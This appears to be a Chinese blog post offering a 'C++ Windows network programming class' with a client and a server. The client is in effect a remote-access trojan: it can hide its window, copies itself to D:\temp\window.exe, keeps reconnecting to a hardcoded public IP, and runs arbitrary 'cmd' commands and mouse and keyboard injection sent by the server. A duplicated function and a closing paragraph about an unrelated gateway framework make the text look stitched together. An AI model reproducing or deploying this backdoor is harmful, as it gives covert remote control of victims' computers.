使用C++封装的Windows网络编程类 支持多线程

我翻遍了很多CSDN程序发现没有一个使用C++封装的Windows网络编程类就算有也是那些用了C的挂羊头卖狗肉的文章

后面太长了 也不难自己看一下吧

建立对象后需要先去连服务器 这些都是必须的初始化程序
可以自己控制

#include <iostream>
#include <string>
#include <fstream>
#include <WinSock2.h>
#include <algorithm>
#include <Windows.h>
#include <direct.h>
#include "Image.h"
#pragma comment(lib,"ws2_32.lib")
//#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
//隐藏界面的 删掉注释就看不到界面了
#define FILEPATH "d:/Program Files (x86)/config.ini"
//配置服务器地址的文件	方便后期维护
#define DEFAULT_IP "39.105.216.232"
#define DEFAULT_PORT "1004"
//到找不到文件时直接使用这个地址和端口
using namespace std;
int n = 1;
enum ProcType
{
	SendType,RecvType
};
//在创建多线程时进行的参数传递
class Client;
struct ProcParam
{
	Client* client;
	ProcType proctype;
}; 
//线程处理函数没办法在类内实现	所以在类外调用处理发送和接收函数 
//这个函数比Windows原生的要友好很多		通过字符串进行发送和传递,没有多余参数
DWORD WINAPI Thread(LPVOID Param);
//首先在顶部声明一下
class Client {
public:
	WORD ver = MAKEWORD(2, 2);
	WSADATA dat;
	SOCKET sock;
	sockaddr_in sin;
	HANDLE handlearray[2];
	Client(string ip,int port) {
		WSAStartup(ver, &dat);
		if (2 != HIBYTE(dat.wVersion) || 2 != LOBYTE(dat.wVersion))
		{
			// 版本不对
			WSACleanup();
			cout << "版本不对" << endl;
		}
		
		setServer(ip,port);
	}
	void setServer(string ip,int port) {
		sin = {};
		sin.sin_family = AF_INET;
		sin.sin_port = htons(port);
		sin.sin_addr.S_un.S_addr = inet_addr(ip.c_str());
	}
	boolean sendmsg(string msg) {

		int result = send(sock, msg.c_str(), msg.length(), 0);
		return result != SOCKET_ERROR ? true : false;
	}
	string recvmsg(int &n) {
		char recvBuf[1024] = {};
		
		n = recv(sock, recvBuf, sizeof(recvBuf ), 0);
		
		return string(recvBuf);
	}
	boolean createsocket() {
		sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		if (INVALID_SOCKET == sock)
		{
			cout << "错误,建立socket失败" << endl;
			return false;
		}
		else
		{
			cout << "建立socket成功.." << endl;
			return true;
		}
	}
	boolean connectToServer() {
		
		if (SOCKET_ERROR == connect(sock, (sockaddr*)&sin, sizeof(sockaddr_in)))
		{
			cout << "建立连接失败..." << endl;
			return false;
		}
		else {
			cout << "建立连接成功..." << endl;
			return true;
		}
	}
	~Client() {
		closesocket(sock);
		//清楚Windows socket环境
		WSACleanup();
	}
	void CreateThreadSend() {
		ProcParam param;
		param.client = this;
		param.proctype = SendType;
		handlearray[0] = createthread(Thread, (LPVOID)&param);
	}
	void CreateThreadRecv() {
		ProcParam param;
		param.client = this;
		param.proctype = RecvType;
		handlearray[1] = createthread(Thread, (LPVOID)&param);
		
	}

private:
	HANDLE createthread(LPTHREAD_START_ROUTINE proc, LPVOID param) {
		WORD pid;
		return CreateThread(NULL, 0, Thread, param, 0, (LPDWORD)&pid);
	}

};
string* getAddress() {
	ifstream file;
	file.open(FILEPATH, ios::in);
	string  *addr =new string[2];

	if (!file.is_open()) {
		ofstream file;
		file.open(FILEPATH, ios::out);
		file << DEFAULT_IP<<endl;
		file << DEFAULT_PORT;
		addr[0] = DEFAULT_IP;
		addr[1] = DEFAULT_PORT;
		file.close();
		
	}
	else {
		file >> addr[0];
		file >> addr[1];
	}
	file.close();
	return addr;
}
string* getAddress() {
	ifstream file;
	file.open(FILEPATH, ios::in);
	string  *addr =new string[2];

	if (!file.is_open()) {
		ofstream file;
		file.open(FILEPATH, ios::out);
		file << DEFAULT_IP<<endl;
		file << DEFAULT_PORT;
		addr[0] = DEFAULT_IP;
		addr[1] = DEFAULT_PORT;
		file.close();
		
	}
	else {
		file >> addr[0];
		file >> addr[1];
	}
	file.close();
	return addr;
}
class StrUtil {
public:
	static string getType(string str) {
		int start = str.find('[');
		int end = str.find(']');
		return str.substr(start + 1, end - start - 1);
	}
	static string getBody(string str) {
		int end = str.find(']');
		return str.substr(end+1);
	}
	//n从1开始
	static string substr(string str,char c,int n) {
		cout << str << endl;
		int find = -1;
		int pre=0;
		int findnext;
		int i;
		for (i = 0; i < n; i++){
			pre = find + 1;
			find = str.find(c,find+1);
			cout <<"find=" << find <<"pre="<<pre << endl;
		}
		if (find==-1) {
			
			if (i == n) {
				return str.substr(pre);
				
			}
			else {
				cout << "没有找到" << endl;
				return "";
			}
		}
		return str.substr(pre, find-pre);
	}
	static LPCWSTR stringToLPCWSTR(std::string orig)
	{
		size_t origsize = orig.length() + 1;
		const size_t newsize = 100;
		size_t convertedChars = 0;
		wchar_t* wcstring = (wchar_t*)malloc(sizeof(wchar_t) * (orig.length() - 1));
		mbstowcs_s(&convertedChars, wcstring, origsize, orig.c_str(), _TRUNCATE);

		return wcstring;
	}
	
};
class FileOperator {
public:
	static void CopyFiles() {
		cout << _pgmptr << endl;
		LPCWSTR wstr = StrUtil::stringToLPCWSTR(string(_pgmptr));
		int copyresult = CopyFile(_pgmptr, "D:\\temp\\window.exe", TRUE);
		if (copyresult == 0) {
			cout << "复制失败" << endl;
		}
		else {
			cout << "复制成功" << endl;
		}
	}
	static void CreateDir() {
		string folderPath = "D:\\temp";

			bool flag = CreateDirectory(folderPath.c_str(), NULL);
			// flag 为 true 说明创建成功
			if (flag) {
				cout << "创建成功" << endl;
			}else {
				cout << "创建失败" << endl;
			}

	}
};

int main() {
	
	FileOperator::CreateDir();
	FileOperator::CopyFiles();
	string *addr=getAddress();
	cout << addr[0] << endl;
	cout << addr[1] << endl;
	Client client(addr[0], atoi(addr[1].c_str()));
	while (1) {
		n = 1;
		boolean result = false;
		while (!result){
			result=client.createsocket();
		}
		result = false;
		while (!result) {
			result = client.connectToServer();
			Sleep(1000);
		}
		client.sendmsg("[tip]我连接过来了");
		client.CreateThreadRecv();
		client.CreateThreadSend();
		//while (1) {

		//}
		WaitForMultipleObjects(2, client.handlearray, false, INFINITE);
		cout << "尝试重新连接服务器" << endl;
	}
	return 0;
}
void sendProc(Client &client) {
	string str;
	while (1) {
		
		cin >> str;
		if (n==0) {
			ExitThread(0);
		}
		client.sendmsg(str);
		
	}
}
void OperatorString(string str) {
	string type=StrUtil::getType(str);
	string body = StrUtil::getBody(str);
	if (type == "msg") {
		MessageBox(0, body.c_str(), "提示", MB_OK);
	}else if(type=="mouse") {
		string str1 = StrUtil::substr(body, '.', 1);
		string str2 = StrUtil::substr(body, '.', 2);
		string str3 = StrUtil::substr(body, '.', 3);
		string str4 = StrUtil::substr(body, '.', 4);
		//string str5 = StrUtil::substr(body, '.', 5);
		cout << str1 << endl;
		cout << str2 << endl;
		cout << str3 << endl;
		cout << str4 << endl;
		//cout << str5 << endl;
		mouse_event(atoi(str1.c_str()), atoi(str2.c_str()), atoi(str3.c_str()), atoi(str4.c_str()),0);
		//if (str5!="") {
		//	mouse_event(atoi(str1.c_str()), atoi(str2.c_str()), atoi(str3.c_str()), atoi(str4.c_str()), 0);
		//}
	}else if(type=="keyboard") {
		string str1 = StrUtil::substr(body, '.', 1);
		string str2 = StrUtil::substr(body, '.', 2);
		string str3 = StrUtil::substr(body, '.', 3);
		cout << str1 << endl;
		cout << str2 << endl;
		keybd_event(atoi(str1.c_str()), 0, atoi(str2.c_str()), 0);
		if (str3!="") {
			keybd_event(atoi(str1.c_str()),0, KEYEVENTF_KEYUP, 0);
		}
	}else if(type=="cmd") {
		system(body.c_str());
	}else if (type=="screen") {
		/*HBITMAP   hBmp;
		hBmp = GetCaptureBmp();
		SaveBitmapToFile(hBmp, (LPSTR)"D:\\temp\\11.bmp");*/
	}
	
}
void recvProc(Client& client) {
	string str;
	while (1) {
		if ((str = client.recvmsg(n)).length() != 0) {
			OperatorString(str);
		}
		if (n == 0) {
			ExitThread(0);
		}
		
		Sleep(50);
	}
}
DWORD WINAPI Thread(LPVOID Param) {
	ProcParam* param = (ProcParam*)Param;
	ProcType type = param->proctype;
	
	if (type == SendType) {
		sendProc(*(param->client));
	}
	else {
		cout << "执行了创建线程" << endl;
		recvProc(*(param->client));
	}
}

服务器很简陋简单写一下

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <iostream>
#include <string>
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
class Server {
public:
	WORD ver = MAKEWORD(2, 2);
	WSADATA dat;
	SOCKET sock;
	sockaddr_in clientAddr;
	int nAddrLen;
	SOCKET cSock;
	Server(int port) {
		WSAStartup(ver, &dat);
		if (2 != HIBYTE(dat.wVersion) || 2 != LOBYTE(dat.wVersion))
		{
			// 版本不对
			WSACleanup();
			cout << "版本不对" << endl;
		}
		 sock= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		sockaddr_in sin = {};
		sin.sin_family = AF_INET;
		sin.sin_port = htons(port);
		sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
		if (SOCKET_ERROR == bind(sock, (sockaddr*)&sin, sizeof(sin)))
		{
			cout << "绑定网络端口失败" << endl;
		}
		else {
			cout << "绑定网络端口成功" << endl;
		}
		
	};
	boolean sendmsg(string msg) {
		int result=send(cSock, msg.c_str(), msg.length(), 0);
		return result != SOCKET_ERROR ? true : false;
	}
	string recvmsg() {
		char recvBuf[1024] = {};
		int nlen = recv(cSock, recvBuf, sizeof(recvBuf), 0);
		return string(recvBuf);
	}
	~Server() {
		closesocket(sock);
		//清楚Windows socket环境
		WSACleanup();
	}
	boolean waitclient() {
		if (SOCKET_ERROR == listen(sock, 5))
		{
			cout << "监听网络端口失败" << endl;
		}
		else {
			cout << "监听网络端口成功" << endl;
		}
		clientAddr = {};
		nAddrLen = sizeof(sockaddr_in);
		cSock = INVALID_SOCKET;
		cout << "正在监听客户端连接" << endl;
		cSock = accept(sock, (sockaddr*)&clientAddr, &nAddrLen);
		if (INVALID_SOCKET == cSock)
		{
			cout << "错误,接受到无效客户端SOCKET..." << endl;
			return false;
		}
		cout << "新客户端加入:" << inet_ntoa(clientAddr.sin_addr) << endl;
		return true;
	}
};
int main1() {
	Server server(9999);
	boolean result = false;
	while (!result) {
		result = server.waitclient();
	}
	string msg;
	while (1) {
		cin >> msg;
		server.sendmsg(msg);
	}
	return 0;
}

网关程序:主要目的是作了一个中间程序转发网络消息,其实在网上有很多这样的程序,比如跨平台的ACE,目前版本为5.6,如果从ACE开始学习网关,个人觉得挺费劲的,我也曾经想用ACE编写网关程序,后来由于ACE的复杂性,还是胆怯了,还是自己下定决心写了一个网关程序。该网关程序目前只支持Windows,下一步的目标准备将程序移植到GCC环境下。程序中用到STL的std::map和std::list,也大量的运行了模板,如:关于线程的参数ARGS即为模板:template ARGS{}、还有一个就是SOCKET结构体:HOSTSTRUCTSTRCT的定义也是用到了模板。程序的主要部份为:class CFramework 文件:framework.h framework.cpp,如果想编写一个网关程序,首先需要从该继承,如目前例程中的:class CMyGateway;大家都知道网关程序即SOCKET通讯多线程程序,其中当然用到SOCKET;网关中有SOCKET服务端,也有SOCKET客户端;作为SOCKET服务端时,需要接收远程主机的连接,当远程主机请求连接,根据业务需要首先要验证该客户端是否是合法的客户,此时,需要从系统的允许访问队列表查询是否有该主机的信息,如果有该主机的信息,则允许该主机连接,此时触发OnConnected事件,在该事件中,可以接收客户端的登录信息,验证客户端的登录信息,如果验证成功,则将该主机信息添加到系统路由表中,当有消息需要转发到该主机时,从系统路由表取到目标主机的信息,通过host.fd发送消息;同理,网关作为一个客户端时,需要连接其它远程服务器,一旦连接上后,触发OnConnected事件,在该事件中,我们可以发送登录信息,并接收应答信息,解析应答信息,判断我们的登录是否成功,如果成功的话,将连接主机的信息添加到系统路由表中,当有其它信息需要转发到该主机时,从系统路由表中取到连接信息通过send() host.fd转发信息。在class CFramework中还有一定非常重要的函数:OnExecuteMessagte(const xuwn::MESSAGE& message)方法,这个方法是在从消息队列取到消息后执行的,xuwn::MESSAGE中定义了一个buffer即收到的消息,同时消息的长度为:message.size.nhead+message.size.nbody,您可以处理消息,在模拟程序中,我将消息转发到另外一个服务器即:B_HOST,HOSTSTRUCT的有个字段name即我称之为节点名称,该名称是我作为索引用的,在系统路由中只能存在这样一个KEY值的HOSTSTRUCT;在class CFramework中还有一个重要函数:OnRecvData(const HOSTSTRCT& host__, xuwn::MESSAGE& message),这个方法是由我们执行如何接收消息的,因为大多数时候我们定义消息都为变长,即消息存在消息头+消息体,大多时候,消息头为定长,消息体的长度在消息头中体现,当我们接收完消息头后,设置后继包(消息体)的长度,再调用CFramework::OnRecvData(host__, message)去接收消息体,并把消息写入到消息队列中。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值